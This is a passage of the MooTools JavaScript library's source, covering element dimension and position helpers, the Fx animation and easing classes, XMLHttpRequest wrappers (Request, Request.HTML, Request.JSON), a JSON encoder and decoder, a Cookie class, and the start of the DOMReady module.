var isOffset = function(el){
	return styleString(el, 'position') != 'static' || isBody(el);
};

var isOffsetStatic = function(el){
	return isOffset(el) || (/^(?:table|td|th)$/i).test(el.tagName);
};

Element.implement({

	scrollTo: function(x, y){
		if (isBody(this)){
			this.getWindow().scrollTo(x, y);
		} else {
			this.scrollLeft = x;
			this.scrollTop = y;
		}
		return this;
	},

	getSize: function(){
		if (isBody(this)) return this.getWindow().getSize();
		return {x: this.offsetWidth, y: this.offsetHeight};
	},

	getScrollSize: function(){
		if (isBody(this)) return this.getWindow().getScrollSize();
		return {x: this.scrollWidth, y: this.scrollHeight};
	},

	getScroll: function(){
		if (isBody(this)) return this.getWindow().getScroll();
		return {x: this.scrollLeft, y: this.scrollTop};
	},

	getScrolls: function(){
		var element = this.parentNode, position = {x: 0, y: 0};
		while (element && !isBody(element)){
			position.x += element.scrollLeft;
			position.y += element.scrollTop;
			element = element.parentNode;
		}
		return position;
	},

	getOffsetParent: brokenOffsetParent ? function(){
		var element = this;
		if (isBody(element) || styleString(element, 'position') == 'fixed') return null;

		var isOffsetCheck = (styleString(element, 'position') == 'static') ? isOffsetStatic : isOffset;
		while ((element = element.parentNode)){
			if (isOffsetCheck(element)) return element;
		}
		return null;
	} : function(){
		var element = this;
		if (isBody(element) || styleString(element, 'position') == 'fixed') return null;

		try {
			return element.offsetParent;
		} catch(e) {}
		return null;
	},

	getOffsets: function(){
		if (this.getBoundingClientRect && !Browser.Platform.ios){
			var bound = this.getBoundingClientRect(),
				html = document.id(this.getDocument().documentElement),
				htmlScroll = html.getScroll(),
				elemScrolls = this.getScrolls(),
				isFixed = (styleString(this, 'position') == 'fixed');

			return {
				x: bound.left.toInt() + elemScrolls.x + ((isFixed) ? 0 : htmlScroll.x) - html.clientLeft,
				y: bound.top.toInt()  + elemScrolls.y + ((isFixed) ? 0 : htmlScroll.y) - html.clientTop
			};
		}

		var element = this, position = {x: 0, y: 0};
		if (isBody(this)) return position;

		while (element && !isBody(element)){
			position.x += element.offsetLeft;
			position.y += element.offsetTop;

			if (Browser.firefox){
				if (!borderBox(element)){
					position.x += leftBorder(element);
					position.y += topBorder(element);
				}
				var parent = element.parentNode;
				if (parent && styleString(parent, 'overflow') != 'visible'){
					position.x += leftBorder(parent);
					position.y += topBorder(parent);
				}
			} else if (element != this && Browser.safari){
				position.x += leftBorder(element);
				position.y += topBorder(element);
			}

			element = element.offsetParent;
		}
		if (Browser.firefox && !borderBox(this)){
			position.x -= leftBorder(this);
			position.y -= topBorder(this);
		}
		return position;
	},

	getPosition: function(relative){
		var offset = this.getOffsets(),
			scroll = this.getScrolls();
		var position = {
			x: offset.x - scroll.x,
			y: offset.y - scroll.y
		};

		if (relative && (relative = document.id(relative))){
			var relativePosition = relative.getPosition();
			return {x: position.x - relativePosition.x - leftBorder(relative), y: position.y - relativePosition.y - topBorder(relative)};
		}
		return position;
	},

	getCoordinates: function(element){
		if (isBody(this)) return this.getWindow().getCoordinates();
		var position = this.getPosition(element),
			size = this.getSize();
		var obj = {
			left: position.x,
			top: position.y,
			width: size.x,
			height: size.y
		};
		obj.right = obj.left + obj.width;
		obj.bottom = obj.top + obj.height;
		return obj;
	},

	computePosition: function(obj){
		return {
			left: obj.x - styleNumber(this, 'margin-left'),
			top: obj.y - styleNumber(this, 'margin-top')
		};
	},

	setPosition: function(obj){
		return this.setStyles(this.computePosition(obj));
	}

});


[Document, Window].invoke('implement', {

	getSize: function(){
		var doc = getCompatElement(this);
		return {x: doc.clientWidth, y: doc.clientHeight};
	},

	getScroll: function(){
		var win = this.getWindow(), doc = getCompatElement(this);
		return {x: win.pageXOffset || doc.scrollLeft, y: win.pageYOffset || doc.scrollTop};
	},

	getScrollSize: function(){
		var doc = getCompatElement(this),
			min = this.getSize(),
			body = this.getDocument().body;

		return {x: Math.max(doc.scrollWidth, body.scrollWidth, min.x), y: Math.max(doc.scrollHeight, body.scrollHeight, min.y)};
	},

	getPosition: function(){
		return {x: 0, y: 0};
	},

	getCoordinates: function(){
		var size = this.getSize();
		return {top: 0, left: 0, bottom: size.y, right: size.x, height: size.y, width: size.x};
	}

});

// private methods

var styleString = Element.getComputedStyle;

function styleNumber(element, style){
	return styleString(element, style).toInt() || 0;
}

function borderBox(element){
	return styleString(element, '-moz-box-sizing') == 'border-box';
}

function topBorder(element){
	return styleNumber(element, 'border-top-width');
}

function leftBorder(element){
	return styleNumber(element, 'border-left-width');
}

function isBody(element){
	return (/^(?:body|html)$/i).test(element.tagName);
}

function getCompatElement(element){
	var doc = element.getDocument();
	return (!doc.compatMode || doc.compatMode == 'CSS1Compat') ? doc.html : doc.body;
}

})();

//aliases
Element.alias({position: 'setPosition'}); //compatability

[Window, Document, Element].invoke('implement', {

	getHeight: function(){
		return this.getSize().y;
	},

	getWidth: function(){
		return this.getSize().x;
	},

	getScrollTop: function(){
		return this.getScroll().y;
	},

	getScrollLeft: function(){
		return this.getScroll().x;
	},

	getScrollHeight: function(){
		return this.getScrollSize().y;
	},

	getScrollWidth: function(){
		return this.getScrollSize().x;
	},

	getTop: function(){
		return this.getPosition().y;
	},

	getLeft: function(){
		return this.getPosition().x;
	}

});


/*
---

name: Fx

description: Contains the basic animation logic to be extended by all other Fx Classes.

license: MIT-style license.

requires: [Chain, Events, Options]

provides: Fx

...
*/

(function(){

var Fx = this.Fx = new Class({

	Implements: [Chain, Events, Options],

	options: {
		/*
		onStart: nil,
		onCancel: nil,
		onComplete: nil,
		*/
		fps: 60,
		unit: false,
		duration: 500,
		frames: null,
		frameSkip: true,
		link: 'ignore'
	},

	initialize: function(options){
		this.subject = this.subject || this;
		this.setOptions(options);
	},

	getTransition: function(){
		return function(p){
			return -(Math.cos(Math.PI * p) - 1) / 2;
		};
	},

	step: function(now){
		if (this.options.frameSkip){
			var diff = (this.time != null) ? (now - this.time) : 0, frames = diff / this.frameInterval;
			this.time = now;
			this.frame += frames;
		} else {
			this.frame++;
		}

		if (this.frame < this.frames){
			var delta = this.transition(this.frame / this.frames);
			this.set(this.compute(this.from, this.to, delta));
		} else {
			this.frame = this.frames;
			this.set(this.compute(this.from, this.to, 1));
			this.stop();
		}
	},

	set: function(now){
		return now;
	},

	compute: function(from, to, delta){
		return Fx.compute(from, to, delta);
	},

	check: function(){
		if (!this.isRunning()) return true;
		switch (this.options.link){
			case 'cancel': this.cancel(); return true;
			case 'chain': this.chain(this.caller.pass(arguments, this)); return false;
		}
		return false;
	},

	start: function(from, to){
		if (!this.check(from, to)) return this;
		this.from = from;
		this.to = to;
		this.frame = (this.options.frameSkip) ? 0 : -1;
		this.time = null;
		this.transition = this.getTransition();
		var frames = this.options.frames, fps = this.options.fps, duration = this.options.duration;
		this.duration = Fx.Durations[duration] || duration.toInt();
		this.frameInterval = 1000 / fps;
		this.frames = frames || Math.round(this.duration / this.frameInterval);
		this.fireEvent('start', this.subject);
		pushInstance.call(this, fps);
		return this;
	},

	stop: function(){
		if (this.isRunning()){
			this.time = null;
			pullInstance.call(this, this.options.fps);
			if (this.frames == this.frame){
				this.fireEvent('complete', this.subject);
				if (!this.callChain()) this.fireEvent('chainComplete', this.subject);
			} else {
				this.fireEvent('stop', this.subject);
			}
		}
		return this;
	},

	cancel: function(){
		if (this.isRunning()){
			this.time = null;
			pullInstance.call(this, this.options.fps);
			this.frame = this.frames;
			this.fireEvent('cancel', this.subject).clearChain();
		}
		return this;
	},

	pause: function(){
		if (this.isRunning()){
			this.time = null;
			pullInstance.call(this, this.options.fps);
		}
		return this;
	},

	resume: function(){
		if ((this.frame < this.frames) && !this.isRunning()) pushInstance.call(this, this.options.fps);
		return this;
	},

	isRunning: function(){
		var list = instances[this.options.fps];
		return list && list.contains(this);
	}

});

Fx.compute = function(from, to, delta){
	return (to - from) * delta + from;
};

Fx.Durations = {'short': 250, 'normal': 500, 'long': 1000};

// global timers

var instances = {}, timers = {};

var loop = function(){
	var now = Date.now();
	for (var i = this.length; i--;){
		var instance = this[i];
		if (instance) instance.step(now);
	}
};

var pushInstance = function(fps){
	var list = instances[fps] || (instances[fps] = []);
	list.push(this);
	if (!timers[fps]) timers[fps] = loop.periodical(Math.round(1000 / fps), list);
};

var pullInstance = function(fps){
	var list = instances[fps];
	if (list){
		list.erase(this);
		if (!list.length && timers[fps]){
			delete instances[fps];
			timers[fps] = clearInterval(timers[fps]);
		}
	}
};

})();


/*
---

name: Fx.CSS

description: Contains the CSS animation logic. Used by Fx.Tween, Fx.Morph, Fx.Elements.

license: MIT-style license.

requires: [Fx, Element.Style]

provides: Fx.CSS

...
*/

Fx.CSS = new Class({

	Extends: Fx,

	//prepares the base from/to object

	prepare: function(element, property, values){
		values = Array.from(values);
		var from = values[0], to = values[1];
		if (to == null){
			to = from;
			from = element.getStyle(property);
			var unit = this.options.unit;
			// adapted from: https://github.com/ryanmorr/fx/blob/master/fx.js#L299
			if (unit && from.slice(-unit.length) != unit && parseFloat(from) != 0){
				element.setStyle(property, to + unit);
				var value = element.getComputedStyle(property);
				// IE and Opera support pixelLeft or pixelWidth
				if (!(/px$/.test(value))){
					value = element.style[('pixel-' + property).camelCase()];
					if (value == null){
						// adapted from Dean Edwards' http://erik.eae.net/archives/2007/07/27/18.54.15/#comment-102291
						var left = element.style.left;
						element.style.left = to + unit;
						value = element.style.pixelLeft;
						element.style.left = left;
					}
				}
				from = (to || 1) / (parseFloat(value) || 1) * (parseFloat(from) || 0);
				element.setStyle(property, from + unit);
			}
		}
		return {from: this.parse(from), to: this.parse(to)};
	},

	//parses a value into an array

	parse: function(value){
		value = Function.from(value)();
		value = (typeof value == 'string') ? value.split(' ') : Array.from(value);
		return value.map(function(val){
			val = String(val);
			var found = false;
			Object.each(Fx.CSS.Parsers, function(parser, key){
				if (found) return;
				var parsed = parser.parse(val);
				if (parsed || parsed === 0) found = {value: parsed, parser: parser};
			});
			found = found || {value: val, parser: Fx.CSS.Parsers.String};
			return found;
		});
	},

	//computes by a from and to prepared objects, using their parsers.

	compute: function(from, to, delta){
		var computed = [];
		(Math.min(from.length, to.length)).times(function(i){
			computed.push({value: from[i].parser.compute(from[i].value, to[i].value, delta), parser: from[i].parser});
		});
		computed.$family = Function.from('fx:css:value');
		return computed;
	},

	//serves the value as settable

	serve: function(value, unit){
		if (typeOf(value) != 'fx:css:value') value = this.parse(value);
		var returned = [];
		value.each(function(bit){
			returned = returned.concat(bit.parser.serve(bit.value, unit));
		});
		return returned;
	},

	//renders the change to an element

	render: function(element, property, value, unit){
		element.setStyle(property, this.serve(value, unit));
	},

	//searches inside the page css to find the values for a selector

	search: function(selector){
		if (Fx.CSS.Cache[selector]) return Fx.CSS.Cache[selector];
		var to = {}, selectorTest = new RegExp('^' + selector.escapeRegExp() + '$');
		Array.each(document.styleSheets, function(sheet, j){
			var href = sheet.href;
			if (href && href.contains('://') && !href.contains(document.domain)) return;
			var rules = sheet.rules || sheet.cssRules;
			Array.each(rules, function(rule, i){
				if (!rule.style) return;
				var selectorText = (rule.selectorText) ? rule.selectorText.replace(/^\w+/, function(m){
					return m.toLowerCase();
				}) : null;
				if (!selectorText || !selectorTest.test(selectorText)) return;
				Object.each(Element.Styles, function(value, style){
					if (!rule.style[style] || Element.ShortStyles[style]) return;
					value = String(rule.style[style]);
					to[style] = ((/^rgb/).test(value)) ? value.rgbToHex() : value;
				});
			});
		});
		return Fx.CSS.Cache[selector] = to;
	}

});

Fx.CSS.Cache = {};

Fx.CSS.Parsers = {

	Color: {
		parse: function(value){
			if (value.match(/^#[0-9a-f]{3,6}$/i)) return value.hexToRgb(true);
			return ((value = value.match(/(\d+),\s*(\d+),\s*(\d+)/))) ? [value[1], value[2], value[3]] : false;
		},
		compute: function(from, to, delta){
			return from.map(function(value, i){
				return Math.round(Fx.compute(from[i], to[i], delta));
			});
		},
		serve: function(value){
			return value.map(Number);
		}
	},

	Number: {
		parse: parseFloat,
		compute: Fx.compute,
		serve: function(value, unit){
			return (unit) ? value + unit : value;
		}
	},

	String: {
		parse: Function.from(false),
		compute: function(zero, one){
			return one;
		},
		serve: function(zero){
			return zero;
		}
	}

};




/*
---

name: Fx.Tween

description: Formerly Fx.Style, effect to transition any CSS property for an element.

license: MIT-style license.

requires: Fx.CSS

provides: [Fx.Tween, Element.fade, Element.highlight]

...
*/

Fx.Tween = new Class({

	Extends: Fx.CSS,

	initialize: function(element, options){
		this.element = this.subject = document.id(element);
		this.parent(options);
	},

	set: function(property, now){
		if (arguments.length == 1){
			now = property;
			property = this.property || this.options.property;
		}
		this.render(this.element, property, now, this.options.unit);
		return this;
	},

	start: function(property, from, to){
		if (!this.check(property, from, to)) return this;
		var args = Array.flatten(arguments);
		this.property = this.options.property || args.shift();
		var parsed = this.prepare(this.element, this.property, args);
		return this.parent(parsed.from, parsed.to);
	}

});

Element.Properties.tween = {

	set: function(options){
		this.get('tween').cancel().setOptions(options);
		return this;
	},

	get: function(){
		var tween = this.retrieve('tween');
		if (!tween){
			tween = new Fx.Tween(this, {link: 'cancel'});
			this.store('tween', tween);
		}
		return tween;
	}

};

Element.implement({

	tween: function(property, from, to){
		this.get('tween').start(property, from, to);
		return this;
	},

	fade: function(how){
		var fade = this.get('tween'), method, args = ['opacity'].append(arguments), toggle;
		if (args[1] == null) args[1] = 'toggle';
		switch (args[1]){
			case 'in': method = 'start'; args[1] = 1; break;
			case 'out': method = 'start'; args[1] = 0; break;
			case 'show': method = 'set'; args[1] = 1; break;
			case 'hide': method = 'set'; args[1] = 0; break;
			case 'toggle':
				var flag = this.retrieve('fade:flag', this.getStyle('opacity') == 1);
				method = 'start';
				args[1] = flag ? 0 : 1;
				this.store('fade:flag', !flag);
				toggle = true;
			break;
			default: method = 'start';
		}
		if (!toggle) this.eliminate('fade:flag');
		fade[method].apply(fade, args);
		var to = args[args.length - 1];
		if (method == 'set' || to != 0) this.setStyle('visibility', to == 0 ? 'hidden' : 'visible');
		else fade.chain(function(){
			this.element.setStyle('visibility', 'hidden');
			this.callChain();
		});
		return this;
	},

	highlight: function(start, end){
		if (!end){
			end = this.retrieve('highlight:original', this.getStyle('background-color'));
			end = (end == 'transparent') ? '#fff' : end;
		}
		var tween = this.get('tween');
		tween.start('background-color', start || '#ffff88', end).chain(function(){
			this.setStyle('background-color', this.retrieve('highlight:original'));
			tween.callChain();
		}.bind(this));
		return this;
	}

});


/*
---

name: Fx.Morph

description: Formerly Fx.Styles, effect to transition any number of CSS properties for an element using an object of rules, or CSS based selector rules.

license: MIT-style license.

requires: Fx.CSS

provides: Fx.Morph

...
*/

Fx.Morph = new Class({

	Extends: Fx.CSS,

	initialize: function(element, options){
		this.element = this.subject = document.id(element);
		this.parent(options);
	},

	set: function(now){
		if (typeof now == 'string') now = this.search(now);
		for (var p in now) this.render(this.element, p, now[p], this.options.unit);
		return this;
	},

	compute: function(from, to, delta){
		var now = {};
		for (var p in from) now[p] = this.parent(from[p], to[p], delta);
		return now;
	},

	start: function(properties){
		if (!this.check(properties)) return this;
		if (typeof properties == 'string') properties = this.search(properties);
		var from = {}, to = {};
		for (var p in properties){
			var parsed = this.prepare(this.element, p, properties[p]);
			from[p] = parsed.from;
			to[p] = parsed.to;
		}
		return this.parent(from, to);
	}

});

Element.Properties.morph = {

	set: function(options){
		this.get('morph').cancel().setOptions(options);
		return this;
	},

	get: function(){
		var morph = this.retrieve('morph');
		if (!morph){
			morph = new Fx.Morph(this, {link: 'cancel'});
			this.store('morph', morph);
		}
		return morph;
	}

};

Element.implement({

	morph: function(props){
		this.get('morph').start(props);
		return this;
	}

});


/*
---

name: Fx.Transitions

description: Contains a set of advanced transitions to be used with any of the Fx Classes.

license: MIT-style license.

credits:
  - Easing Equations by Robert Penner, <http://www.robertpenner.com/easing/>, modified and optimized to be used with MooTools.

requires: Fx

provides: Fx.Transitions

...
*/

Fx.implement({

	getTransition: function(){
		var trans = this.options.transition || Fx.Transitions.Sine.easeInOut;
		if (typeof trans == 'string'){
			var data = trans.split(':');
			trans = Fx.Transitions;
			trans = trans[data[0]] || trans[data[0].capitalize()];
			if (data[1]) trans = trans['ease' + data[1].capitalize() + (data[2] ? data[2].capitalize() : '')];
		}
		return trans;
	}

});

Fx.Transition = function(transition, params){
	params = Array.from(params);
	var easeIn = function(pos){
		return transition(pos, params);
	};
	return Object.append(easeIn, {
		easeIn: easeIn,
		easeOut: function(pos){
			return 1 - transition(1 - pos, params);
		},
		easeInOut: function(pos){
			return (pos <= 0.5 ? transition(2 * pos, params) : (2 - transition(2 * (1 - pos), params))) / 2;
		}
	});
};

Fx.Transitions = {

	linear: function(zero){
		return zero;
	}

};



Fx.Transitions.extend = function(transitions){
	for (var transition in transitions) Fx.Transitions[transition] = new Fx.Transition(transitions[transition]);
};

Fx.Transitions.extend({

	Pow: function(p, x){
		return Math.pow(p, x && x[0] || 6);
	},

	Expo: function(p){
		return Math.pow(2, 8 * (p - 1));
	},

	Circ: function(p){
		return 1 - Math.sin(Math.acos(p));
	},

	Sine: function(p){
		return 1 - Math.cos(p * Math.PI / 2);
	},

	Back: function(p, x){
		x = x && x[0] || 1.618;
		return Math.pow(p, 2) * ((x + 1) * p - x);
	},

	Bounce: function(p){
		var value;
		for (var a = 0, b = 1; 1; a += b, b /= 2){
			if (p >= (7 - 4 * a) / 11){
				value = b * b - Math.pow((11 - 6 * a - 11 * p) / 4, 2);
				break;
			}
		}
		return value;
	},

	Elastic: function(p, x){
		return Math.pow(2, 10 * --p) * Math.cos(20 * p * Math.PI * (x && x[0] || 1) / 3);
	}

});

['Quad', 'Cubic', 'Quart', 'Quint'].each(function(transition, i){
	Fx.Transitions[transition] = new Fx.Transition(function(p){
		return Math.pow(p, i + 2);
	});
});


/*
---

name: Request

description: Powerful all purpose Request Class. Uses XMLHTTPRequest.

license: MIT-style license.

requires: [Object, Element, Chain, Events, Options, Browser]

provides: Request

...
*/

(function(){

var empty = function(){},
	progressSupport = ('onprogress' in new Browser.Request);

var Request = this.Request = new Class({

	Implements: [Chain, Events, Options],

	options: {/*
		onRequest: function(){},
		onLoadstart: function(event, xhr){},
		onProgress: function(event, xhr){},
		onComplete: function(){},
		onCancel: function(){},
		onSuccess: function(responseText, responseXML){},
		onFailure: function(xhr){},
		onException: function(headerName, value){},
		onTimeout: function(){},
		user: '',
		password: '',*/
		url: '',
		data: '',
		headers: {
			'X-Requested-With': 'XMLHttpRequest',
			'Accept': 'text/javascript, text/html, application/xml, text/xml, */*'
		},
		async: true,
		format: false,
		method: 'post',
		link: 'ignore',
		isSuccess: null,
		emulation: true,
		urlEncoded: true,
		encoding: 'utf-8',
		evalScripts: false,
		evalResponse: false,
		timeout: 0,
		noCache: false
	},

	initialize: function(options){
		this.xhr = new Browser.Request();
		this.setOptions(options);
		this.headers = this.options.headers;
	},

	onStateChange: function(){
		var xhr = this.xhr;
		if (xhr.readyState != 4 || !this.running) return;
		this.running = false;
		this.status = 0;
		Function.attempt(function(){
			var status = xhr.status;
			this.status = (status == 1223) ? 204 : status;
		}.bind(this));
		xhr.onreadystatechange = empty;
		if (progressSupport) xhr.onprogress = xhr.onloadstart = empty;
		clearTimeout(this.timer);

		this.response = {text: this.xhr.responseText || '', xml: this.xhr.responseXML};
		if (this.options.isSuccess.call(this, this.status))
			this.success(this.response.text, this.response.xml);
		else
			this.failure();
	},

	isSuccess: function(){
		var status = this.status;
		return (status >= 200 && status < 300);
	},

	isRunning: function(){
		return !!this.running;
	},

	processScripts: function(text){
		if (this.options.evalResponse || (/(ecma|java)script/).test(this.getHeader('Content-type'))) return Browser.exec(text);
		return text.stripScripts(this.options.evalScripts);
	},

	success: function(text, xml){
		this.onSuccess(this.processScripts(text), xml);
	},

	onSuccess: function(){
		this.fireEvent('complete', arguments).fireEvent('success', arguments).callChain();
	},

	failure: function(){
		this.onFailure();
	},

	onFailure: function(){
		this.fireEvent('complete').fireEvent('failure', this.xhr);
	},

	loadstart: function(event){
		this.fireEvent('loadstart', [event, this.xhr]);
	},

	progress: function(event){
		this.fireEvent('progress', [event, this.xhr]);
	},

	timeout: function(){
		this.fireEvent('timeout', this.xhr);
	},

	setHeader: function(name, value){
		this.headers[name] = value;
		return this;
	},

	getHeader: function(name){
		return Function.attempt(function(){
			return this.xhr.getResponseHeader(name);
		}.bind(this));
	},

	check: function(){
		if (!this.running) return true;
		switch (this.options.link){
			case 'cancel': this.cancel(); return true;
			case 'chain': this.chain(this.caller.pass(arguments, this)); return false;
		}
		return false;
	},

	send: function(options){
		if (!this.check(options)) return this;

		this.options.isSuccess = this.options.isSuccess || this.isSuccess;
		this.running = true;

		var type = typeOf(options);
		if (type == 'string' || type == 'element') options = {data: options};

		var old = this.options;
		options = Object.append({data: old.data, url: old.url, method: old.method}, options);
		var data = options.data, url = String(options.url), method = options.method.toLowerCase();

		switch (typeOf(data)){
			case 'element': data = document.id(data).toQueryString(); break;
			case 'object': case 'hash': data = Object.toQueryString(data);
		}

		if (this.options.format){
			var format = 'format=' + this.options.format;
			data = (data) ? format + '&' + data : format;
		}

		if (this.options.emulation && !['get', 'post'].contains(method)){
			var _method = '_method=' + method;
			data = (data) ? _method + '&' + data : _method;
			method = 'post';
		}

		if (this.options.urlEncoded && ['post', 'put'].contains(method)){
			var encoding = (this.options.encoding) ? '; charset=' + this.options.encoding : '';
			this.headers['Content-type'] = 'application/x-www-form-urlencoded' + encoding;
		}

		if (!url) url = document.location.pathname;

		var trimPosition = url.lastIndexOf('/');
		if (trimPosition > -1 && (trimPosition = url.indexOf('#')) > -1) url = url.substr(0, trimPosition);

		if (this.options.noCache)
			url += (url.contains('?') ? '&' : '?') + String.uniqueID();

		if (data && method == 'get'){
			url += (url.contains('?') ? '&' : '?') + data;
			data = null;
		}

		var xhr = this.xhr;
		if (progressSupport){
			xhr.onloadstart = this.loadstart.bind(this);
			xhr.onprogress = this.progress.bind(this);
		}

		xhr.open(method.toUpperCase(), url, this.options.async, this.options.user, this.options.password);
		if (this.options.user && 'withCredentials' in xhr) xhr.withCredentials = true;

		xhr.onreadystatechange = this.onStateChange.bind(this);

		Object.each(this.headers, function(value, key){
			try {
				xhr.setRequestHeader(key, value);
			} catch (e){
				this.fireEvent('exception', [key, value]);
			}
		}, this);

		this.fireEvent('request');
		xhr.send(data);
		if (!this.options.async) this.onStateChange();
		else if (this.options.timeout) this.timer = this.timeout.delay(this.options.timeout, this);
		return this;
	},

	cancel: function(){
		if (!this.running) return this;
		this.running = false;
		var xhr = this.xhr;
		xhr.abort();
		clearTimeout(this.timer);
		xhr.onreadystatechange = empty;
		if (progressSupport) xhr.onprogress = xhr.onloadstart = empty;
		this.xhr = new Browser.Request();
		this.fireEvent('cancel');
		return this;
	}

});

var methods = {};
['get', 'post', 'put', 'delete', 'GET', 'POST', 'PUT', 'DELETE'].each(function(method){
	methods[method] = function(data){
		var object = {
			method: method
		};
		if (data != null) object.data = data;
		return this.send(object);
	};
});

Request.implement(methods);

Element.Properties.send = {

	set: function(options){
		var send = this.get('send').cancel();
		send.setOptions(options);
		return this;
	},

	get: function(){
		var send = this.retrieve('send');
		if (!send){
			send = new Request({
				data: this, link: 'cancel', method: this.get('method') || 'post', url: this.get('action')
			});
			this.store('send', send);
		}
		return send;
	}

};

Element.implement({

	send: function(url){
		var sender = this.get('send');
		sender.send({data: this, url: url || sender.options.url});
		return this;
	}

});

})();


/*
---

name: Request.HTML

description: Extends the basic Request Class with additional methods for interacting with HTML responses.

license: MIT-style license.

requires: [Element, Request]

provides: Request.HTML

...
*/

Request.HTML = new Class({

	Extends: Request,

	options: {
		update: false,
		append: false,
		evalScripts: true,
		filter: false,
		headers: {
			Accept: 'text/html, application/xml, text/xml, */*'
		}
	},

	success: function(text){
		var options = this.options, response = this.response;

		response.html = text.stripScripts(function(script){
			response.javascript = script;
		});

		var match = response.html.match(/<body[^>]*>([\s\S]*?)<\/body>/i);
		if (match) response.html = match[1];
		var temp = new Element('div').set('html', response.html);

		response.tree = temp.childNodes;
		response.elements = temp.getElements(options.filter || '*');

		if (options.filter) response.tree = response.elements;
		if (options.update){
			var update = document.id(options.update).empty();
			if (options.filter) update.adopt(response.elements);
			else update.set('html', response.html);
		} else if (options.append){
			var append = document.id(options.append);
			if (options.filter) response.elements.reverse().inject(append);
			else append.adopt(temp.getChildren());
		}
		if (options.evalScripts) Browser.exec(response.javascript);

		this.onSuccess(response.tree, response.elements, response.html, response.javascript);
	}

});

Element.Properties.load = {

	set: function(options){
		var load = this.get('load').cancel();
		load.setOptions(options);
		return this;
	},

	get: function(){
		var load = this.retrieve('load');
		if (!load){
			load = new Request.HTML({data: this, link: 'cancel', update: this, method: 'get'});
			this.store('load', load);
		}
		return load;
	}

};

Element.implement({

	load: function(){
		this.get('load').send(Array.link(arguments, {data: Type.isObject, url: Type.isString}));
		return this;
	}

});


/*
---

name: JSON

description: JSON encoder and decoder.

license: MIT-style license.

SeeAlso: <http://www.json.org/>

requires: [Array, String, Number, Function]

provides: JSON

...
*/

if (typeof JSON == 'undefined') this.JSON = {};



(function(){

var special = {'\b': '\\b', '\t': '\\t', '\n': '\\n', '\f': '\\f', '\r': '\\r', '"' : '\\"', '\\': '\\\\'};

var escape = function(chr){
	return special[chr] || '\\u' + ('0000' + chr.charCodeAt(0).toString(16)).slice(-4);
};

JSON.validate = function(string){
	string = string.replace(/\\(?:["\\\/bfnrt]|u[0-9a-fA-F]{4})/g, '@').
					replace(/"[^"\\\n\r]*"|true|false|null|-?\d+(?:\.\d*)?(?:[eE][+\-]?\d+)?/g, ']').
					replace(/(?:^|:|,)(?:\s*\[)+/g, '');

	return (/^[\],:{}\s]*$/).test(string);
};

JSON.encode = JSON.stringify ? function(obj){
	return JSON.stringify(obj);
} : function(obj){
	if (obj && obj.toJSON) obj = obj.toJSON();

	switch (typeOf(obj)){
		case 'string':
			return '"' + obj.replace(/[\x00-\x1f\\"]/g, escape) + '"';
		case 'array':
			return '[' + obj.map(JSON.encode).clean() + ']';
		case 'object': case 'hash':
			var string = [];
			Object.each(obj, function(value, key){
				var json = JSON.encode(value);
				if (json) string.push(JSON.encode(key) + ':' + json);
			});
			return '{' + string + '}';
		case 'number': case 'boolean': return '' + obj;
		case 'null': return 'null';
	}

	return null;
};

JSON.decode = function(string, secure){
	if (!string || typeOf(string) != 'string') return null;

	if (secure || JSON.secure){
		if (JSON.parse) return JSON.parse(string);
		if (!JSON.validate(string)) throw new Error('JSON could not decode the input; security is enabled and the value is not secure.');
	}

	return eval('(' + string + ')');
};

})();


/*
---

name: Request.JSON

description: Extends the basic Request Class with additional methods for sending and receiving JSON data.

license: MIT-style license.

requires: [Request, JSON]

provides: Request.JSON

...
*/

Request.JSON = new Class({

	Extends: Request,

	options: {
		/*onError: function(text, error){},*/
		secure: true
	},

	initialize: function(options){
		this.parent(options);
		Object.append(this.headers, {
			'Accept': 'application/json',
			'X-Request': 'JSON'
		});
	},

	success: function(text){
		var json;
		try {
			json = this.response.json = JSON.decode(text, this.options.secure);
		} catch (error){
			this.fireEvent('error', [text, error]);
			return;
		}
		if (json == null) this.onFailure();
		else this.onSuccess(json, text);
	}

});


/*
---

name: Cookie

description: Class for creating, reading, and deleting browser Cookies.

license: MIT-style license.

credits:
  - Based on the functions by Peter-Paul Koch (http://quirksmode.org).

requires: [Options, Browser]

provides: Cookie

...
*/

var Cookie = new Class({

	Implements: Options,

	options: {
		path: '/',
		domain: false,
		duration: false,
		secure: false,
		document: document,
		encode: true
	},

	initialize: function(key, options){
		this.key = key;
		this.setOptions(options);
	},

	write: function(value){
		if (this.options.encode) value = encodeURIComponent(value);
		if (this.options.domain) value += '; domain=' + this.options.domain;
		if (this.options.path) value += '; path=' + this.options.path;
		if (this.options.duration){
			var date = new Date();
			date.setTime(date.getTime() + this.options.duration * 24 * 60 * 60 * 1000);
			value += '; expires=' + date.toGMTString();
		}
		if (this.options.secure) value += '; secure';
		this.options.document.cookie = this.key + '=' + value;
		return this;
	},

	read: function(){
		var value = this.options.document.cookie.match('(?:^|;)\\s*' + this.key.escapeRegExp() + '=([^;]*)');
		return (value) ? decodeURIComponent(value[1]) : null;
	},

	dispose: function(){
		new Cookie(this.key, Object.merge({}, this.options, {duration: -1})).write('');
		return this;
	}

});

Cookie.write = function(key, value, options){
	return new Cookie(key, options).write(value);
};

Cookie.read = function(key){
	return new Cookie(key).read();
};

Cookie.dispose = function(key, options){
	return new Cookie(key, options).dispose();
};


/*
---

name: DOMReady

description: Contains the custom event domready.

license: MIT-style license.

requires: [Browser, Element, Element.Event]

provides: [DOMReady, DomReady]

...
*/

(function(window, document){

var ready,
	loaded,
	checks = [],
	shouldPoll,
	timer,
	testElement = document.createElement('div');

var domready = function(){
	clearTimeout(timer);
	if (ready) return;
	Browser.loaded = ready = true;
	document.removeListener('DOMContentLoaded', domready).removeListener('readystatechange', check);

	document.fireEvent('domready');
	window.fireEvent('domready');
};

var check = function(){
	for (var i = checks.length; i--;) if (checks[i]()){
		domready();
		return true;
	}
	return false;
};

var poll = function(){
	clearTimeout(timer);
	if (!check()) timer = setTimeout(poll, 10);
};

document.addListener('DOMContentLoaded', domready);

/*<ltIE8>*/
// doScroll technique by Diego Perini http://javascript.nwbox.com/IEContentLoaded/
// testElement.doScroll() throws when the DOM is not ready, only in the top window
var doScrollWorks = function(){
	try {
		testElement.doScroll();
		return true;
	} catch (e){}
	return false;
};
// If doScroll works already, it can't be used to determine domready
//   e.g. in an iframe
if (testElement.doScroll && !doScrollWorks()){
	checks.push(doScrollWorks);
	shouldPoll = true;
}
/*</ltIE8>*/

if (document.readyState) checks.push(function(){
	var state = document.readyState;
	return (state == 'loaded' || state == 'complete');
});

if ('onreadystatechange' in document) document.addListener('readystatechange', check);
else shouldPoll = true;

if (shouldPoll) poll();

Element.Events.domready = {
	onAdd: function(fn){
		if (ready) fn.call(this);
